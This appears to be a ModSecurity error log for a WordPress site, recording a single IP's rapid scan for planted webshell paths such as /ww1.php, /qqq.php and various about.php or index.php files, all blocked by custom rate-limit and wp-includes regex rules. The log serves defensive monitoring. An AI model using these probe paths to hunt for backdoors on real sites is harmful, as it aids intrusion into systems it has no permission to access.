[Wed Nov 26 01:00:39.250361 2025] [:error] [pid 14168:tid 14189] [client 172.207.189.235:21208] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aSXgt_R-ZDU0QEgAIIu-NwAAANI"]
[Wed Nov 26 01:00:39.491435 2025] [:error] [pid 28739:tid 28767] [client 172.207.189.235:21213] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aSXgtxxGpKmlkG4FexT3UwAAAgU"]
[Wed Nov 26 01:00:39.721745 2025] [:error] [pid 2987:tid 3004] [client 172.207.189.235:21300] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aSXgt8-djEt-pTzPxnwBrwAAAU8"]
[Wed Nov 26 01:00:39.962074 2025] [:error] [pid 14076:tid 14101] [client 172.207.189.235:21257] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aSXgt3sB4Gz6Qw-pvBuBrAAAABQ"]
[Wed Nov 26 01:00:40.208092 2025] [:error] [pid 14078:tid 14146] [client 172.207.189.235:21186] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aSXguNVXYbb0ii_rVoLhggAAAIk"]
[Wed Nov 26 01:00:40.469543 2025] [:error] [pid 43981:tid 43997] [client 172.207.189.235:21194] [client 172.207.189.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aSXguAgZn97m_qh_RaGZfAAAAw4"]
[Wed Nov 26 01:00:40.725201 2025] [:error] [pid 14078:tid 14144] [client 172.207.189.235:21311] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aSXguNVXYbb0ii_rVoLhhQAAAIc"]
[Wed Nov 26 01:00:40.957833 2025] [:error] [pid 28739:tid 28784] [client 172.207.189.235:21272] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aSXguBxGpKmlkG4FexT3WgAAAhY"]
[Wed Nov 26 01:00:41.197172 2025] [:error] [pid 28836:tid 28957] [client 172.207.189.235:21185] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aSXguZwNRsoxcLQGkTcedgAAAsI"]
[Wed Nov 26 01:00:41.428822 2025] [:error] [pid 43981:tid 43983] [client 172.207.189.235:21275] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/function.php"] [unique_id "aSXguQgZn97m_qh_RaGZgAAAAwA"]
[Wed Nov 26 01:00:41.674827 2025] [:error] [pid 28739:tid 28783] [client 172.207.189.235:21301] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aSXguRxGpKmlkG4FexT3XwAAAhU"]
[Wed Nov 26 01:00:41.943509 2025] [:error] [pid 28609:tid 28640] [client 172.207.189.235:21245] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aSXguSGGdT-nZJVs3x0rmAAAAZY"]
[Wed Nov 26 01:00:42.221923 2025] [:error] [pid 43981:tid 43993] [client 172.207.189.235:21362] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aSXguggZn97m_qh_RaGZggAAAwo"]
[Wed Nov 26 01:00:42.466113 2025] [:error] [pid 14077:tid 14111] [client 172.207.189.235:21285] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aSXguhG9n7UHEkwDTygGQgAAAEE"]
[Wed Nov 26 01:00:42.702753 2025] [:error] [pid 14168:tid 14187] [client 172.207.189.235:21278] [client 172.207.189.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aSXguvR-ZDU0QEgAIIu-OwAAANA"]
[Wed Nov 26 01:00:42.947446 2025] [:error] [pid 43981:tid 43992] [client 172.207.189.235:20975] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww1.php"] [unique_id "aSXguggZn97m_qh_RaGZhQAAAwk"]
[Wed Nov 26 01:00:43.198717 2025] [:error] [pid 28609:tid 28619] [client 172.207.189.235:21189] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww1.php"] [unique_id "aSXguyGGdT-nZJVs3x0rnAAAAYE"]
[Wed Nov 26 01:00:43.533443 2025] [:error] [pid 2987:tid 3012] [client 172.207.189.235:21251] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww1.php"] [unique_id "aSXgu8-djEt-pTzPxnwBswAAAVc"]
[Wed Nov 26 01:00:43.789369 2025] [:error] [pid 43843:tid 43865] [client 172.207.189.235:20941] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qqq.php"] [unique_id "aSXguxhx4v3NUNdMKDMiuwAAAdQ"]
[Wed Nov 26 01:00:44.034662 2025] [:error] [pid 28836:tid 28959] [client 172.207.189.235:21200] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qqq.php"] [unique_id "aSXgvJwNRsoxcLQGkTcefAAAAsQ"]
[Wed Nov 26 01:00:44.277738 2025] [:error] [pid 28836:tid 29008] [client 172.207.189.235:20938] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qqq.php"] [unique_id "aSXgvJwNRsoxcLQGkTcefQAAAtI"]
[Wed Nov 26 01:00:44.539381 2025] [:error] [pid 28609:tid 28623] [client 172.207.189.235:21443] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/qqq.php"] [unique_id "aSXgvCGGdT-nZJVs3x0rnwAAAYU"]
[Wed Nov 26 01:00:44.805413 2025] [:error] [pid 14077:tid 14112] [client 172.207.189.235:21269] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aSXgvBG9n7UHEkwDTygGRgAAAEI"]
[Wed Nov 26 01:00:45.033742 2025] [:error] [pid 2987:tid 2997] [client 172.207.189.235:21217] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aSXgvc-djEt-pTzPxnwBtgAAAUg"]
[Wed Nov 26 01:00:45.377158 2025] [:error] [pid 43981:tid 44001] [client 172.207.189.235:20935] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aSXgvQgZn97m_qh_RaGZiQAAAxI"]
[Wed Nov 26 01:00:45.609479 2025] [:error] [pid 2987:tid 2990] [client 172.207.189.235:21234] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aSXgvc-djEt-pTzPxnwBuAAAAUE"]
[Wed Nov 26 01:00:45.841994 2025] [:error] [pid 28739:tid 28770] [client 172.207.189.235:21120] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aSXgvRxGpKmlkG4FexT3YgAAAgg"]
[Wed Nov 26 01:00:46.068263 2025] [:error] [pid 14077:tid 14129] [client 172.207.189.235:21222] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aSXgvhG9n7UHEkwDTygGSgAAAFM"]
[Wed Nov 26 01:00:46.305248 2025] [:error] [pid 2987:tid 3008] [client 172.207.189.235:21373] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aSXgvs-djEt-pTzPxnwBuwAAAVM"]
[Wed Nov 26 01:00:46.534222 2025] [:error] [pid 28739:tid 28782] [client 172.207.189.235:21255] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/function.php"] [unique_id "aSXgvhxGpKmlkG4FexT3ZAAAAhQ"]
[Wed Nov 26 01:00:46.834441 2025] [:error] [pid 14077:tid 14115] [client 172.207.189.235:21153] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aSXgvhG9n7UHEkwDTygGSwAAAEU"]
[Wed Nov 26 01:00:47.064090 2025] [:error] [pid 14168:tid 14171] [client 172.207.189.235:21239] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aSXgv_R-ZDU0QEgAIIu-RAAAAMA"]
[Wed Nov 26 01:00:47.293913 2025] [:error] [pid 28836:tid 29009] [client 172.207.189.235:21209] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aSXgv5wNRsoxcLQGkTcehQAAAtM"]
[Wed Nov 26 01:00:47.522508 2025] [:error] [pid 2987:tid 3007] [client 172.207.189.235:21266] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aSXgv8-djEt-pTzPxnwBvgAAAVI"]
[Wed Nov 26 01:00:47.844375 2025] [:error] [pid 28609:tid 28640] [client 172.207.189.235:21424] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aSXgvyGGdT-nZJVs3x0rowAAAZY"]
[Wed Nov 26 01:00:48.136272 2025] [:error] [pid 43981:tid 44004] [client 172.207.189.235:21125] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aSXgwAgZn97m_qh_RaGZjwAAAxU"]
[Wed Nov 26 01:00:48.417134 2025] [:error] [pid 14077:tid 14131] [client 172.207.189.235:21252] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aSXgwBG9n7UHEkwDTygGUgAAAFU"]
[Wed Nov 26 01:00:48.723329 2025] [:error] [pid 43843:tid 43862] [client 172.207.189.235:21218] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aSXgwBhx4v3NUNdMKDMivAAAAdE"]
[Wed Nov 26 01:00:49.037327 2025] [:error] [pid 28836:tid 29011] [client 172.207.189.235:21237] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/security.php"] [unique_id "aSXgwZwNRsoxcLQGkTcehgAAAtU"]
[Wed Nov 26 01:00:49.308779 2025] [:error] [pid 28836:tid 28969] [client 172.207.189.235:21236] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/security.php"] [unique_id "aSXgwZwNRsoxcLQGkTceiQAAAs4"]
[Wed Nov 26 01:00:49.564508 2025] [:error] [pid 28836:tid 28968] [client 172.207.189.235:21220] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/security.php"] [unique_id "aSXgwZwNRsoxcLQGkTceigAAAs0"]
[Wed Nov 26 01:00:49.801413 2025] [:error] [pid 14168:tid 14172] [client 172.207.189.235:21282] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/security.php"] [unique_id "aSXgwfR-ZDU0QEgAIIu-SAAAAME"]
[Wed Nov 26 01:00:50.044632 2025] [:error] [pid 28739:tid 28781] [client 172.207.189.235:21371] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aSXgwhxGpKmlkG4FexT3aQAAAhM"]
[Wed Nov 26 01:00:50.280452 2025] [:error] [pid 14078:tid 14150] [client 172.207.189.235:21297] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aSXgwtVXYbb0ii_rVoLhhgAAAI0"]
[Wed Nov 26 01:00:50.568037 2025] [:error] [pid 14168:tid 14186] [client 172.207.189.235:21206] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aSXgwvR-ZDU0QEgAIIu-SQAAAM8"]
[Wed Nov 26 01:00:50.860180 2025] [:error] [pid 28739:tid 28776] [client 172.207.189.235:21193] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aSXgwhxGpKmlkG4FexT3bAAAAg4"]
[Wed Nov 26 01:00:51.121353 2025] [:error] [pid 28739:tid 28786] [client 172.207.189.235:20934] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aSXgwxxGpKmlkG4FexT3bgAAAhg"]
[Wed Nov 26 01:00:51.449117 2025] [:error] [pid 2987:tid 3005] [client 172.207.189.235:20978] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aSXgw8-djEt-pTzPxnwBxQAAAVA"]
[Wed Nov 26 01:00:51.856262 2025] [:error] [pid 43843:tid 43861] [client 172.207.189.235:20946] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aSXgwxhx4v3NUNdMKDMivwAAAdA"]
[Wed Nov 26 01:00:52.126485 2025] [:error] [pid 28739:tid 28780] [client 172.207.189.235:20952] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aSXgxBxGpKmlkG4FexT3dQAAAhI"]
[Wed Nov 26 01:00:52.403829 2025] [:error] [pid 28739:tid 28781] [client 172.207.189.235:21216] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aSXgxBxGpKmlkG4FexT3fwAAAhM"]
[Wed Nov 26 01:00:52.664641 2025] [:error] [pid 14078:tid 14155] [client 172.207.189.235:21207] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aSXgxNVXYbb0ii_rVoLhjAAAAJI"]
[Wed Nov 26 01:00:52.945838 2025] [:error] [pid 14168:tid 14181] [client 172.207.189.235:20930] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aSXgxPR-ZDU0QEgAIIu-TAAAAMo"]
[Wed Nov 26 01:00:53.218423 2025] [:error] [pid 43843:tid 43867] [client 172.207.189.235:21244] [client 172.207.189.235] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aSXgxRhx4v3NUNdMKDMiwgAAAdY"]
[Wed Nov 26 01:00:53.474154 2025] [:error] [pid 14076:tid 14085] [client 172.207.189.235:20957] [client 172.207.189.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aSXgxXsB4Gz6Qw-pvBuBxAAAAAQ"]
